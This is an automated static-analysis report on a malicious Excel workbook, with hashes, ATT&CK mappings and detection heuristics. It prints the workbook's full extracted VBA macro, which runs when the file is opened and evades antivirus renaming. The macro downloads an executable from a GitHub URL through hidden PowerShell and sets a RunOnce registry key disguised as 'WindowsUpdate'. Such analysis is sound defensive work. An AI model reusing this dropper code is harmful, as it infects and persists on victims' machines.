Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d5cc2e15d933aa9b…

MALICIOUS

Office (OOXML)

16.4 KB Created: 2021-10-18 17:13:01 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-21
MD5: bf4b6a31288401443252cf6a52329db0 SHA-1: 76f1072a9e031c4147ae0682c439cda8f0403ed5 SHA-256: d5cc2e15d933aa9bf00e1a0984ceb7699bd7ce2205b765a2662b1c75e75082be
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1547.001 Registry Run Keys / Startup Folder T1204.002 Malicious File

The Workbook_Open macro executes a PowerShell command to download a file named LivingOffTheLand.exe from a GitHub repository. It then attempts to establish persistence by writing a registry key to HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate, pointing to C:\Users\gilles\Downloads\binary.exe, which is likely intended to be the downloaded payload.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    If strPath = "Book1.xlsm" Then
        x = Shell("powershell.exe wget -UseBasicParsing https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe -o C:\Users\gilles\Downloads\test.exe", 0)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        ' The quietest way to execute is to write a registry key in RunOnce
        Dim WshShell: Set WshShell = CreateObject("WScript.Shell")
        WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate", "C:\Users\gilles\Downloads\binary.exe", "REG_SZ"
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    If strPath = "Book1.xlsm" Then
        x = Shell("powershell.exe wget -UseBasicParsing https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe -o C:\Users\gilles\Downloads\test.exe", 0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        ' The quietest way to execute is to write a registry key in RunOnce
        Dim WshShell: Set WshShell = CreateObject("WScript.Shell")
        WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate", "C:\Users\gilles\Downloads\binary.exe", "REG_SZ"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1372 bytes
SHA-256: 03f649486bd0fd096b6d2ace885913433e18060fcef723c290b466a49302d29c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()

Dim strPath As String
strPath = ThisWorkbook.Name
'MsgBox (strPath)

'The AV might change the name of the file to analyze it, this can help to evade
If strPath = "Book1.xlsm" Then
    x = Shell("powershell.exe wget -UseBasicParsing https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe -o C:\Users\gilles\Downloads\test.exe", 0)
    
    ' The quietest way to execute is to write a registry key in RunOnce
    Dim WshShell: Set WshShell = CreateObject("WScript.Shell")
    WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\WindowsUpdate", "C:\Users\gilles\Downloads\binary.exe", "REG_SZ"
End If
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub exploit()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 35328 bytes
SHA-256: 26da91f6f33cfb405d34199ebeb74f6ea65d0ffdbfdc2746da42cd95c9cc0ff6